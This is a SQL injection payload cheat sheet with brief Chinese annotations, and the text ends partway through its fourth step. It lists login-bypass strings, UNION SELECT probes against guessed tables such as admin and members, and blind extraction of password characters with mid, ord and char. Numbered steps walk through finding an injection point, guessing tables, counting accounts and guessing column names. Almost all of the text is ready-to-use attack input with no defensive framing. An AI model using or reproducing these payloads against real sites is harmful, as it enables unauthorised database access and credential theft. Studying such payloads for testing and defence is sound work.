' or 1=1
' or '1=1
'/*
'%23
' and password='mypass
id=-1 union select 1,1,1
id=-1 union select char(97),char(97),char(97)
id=1 union select 1,1,1 from members
id=1 union select 1,1,1 from admin
id=1 union select 1,1,1 from user
userid=1 and password=mypass
userid=1 and mid(password,3,1)=char(112)
userid=1 and mid(password,4,1)=char(97)
and ord(mid(password,3,1))>111 （ord函数很好用，可以返回整形的）
' and LENGTH(password)
1.判断有无注入点
' ; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from
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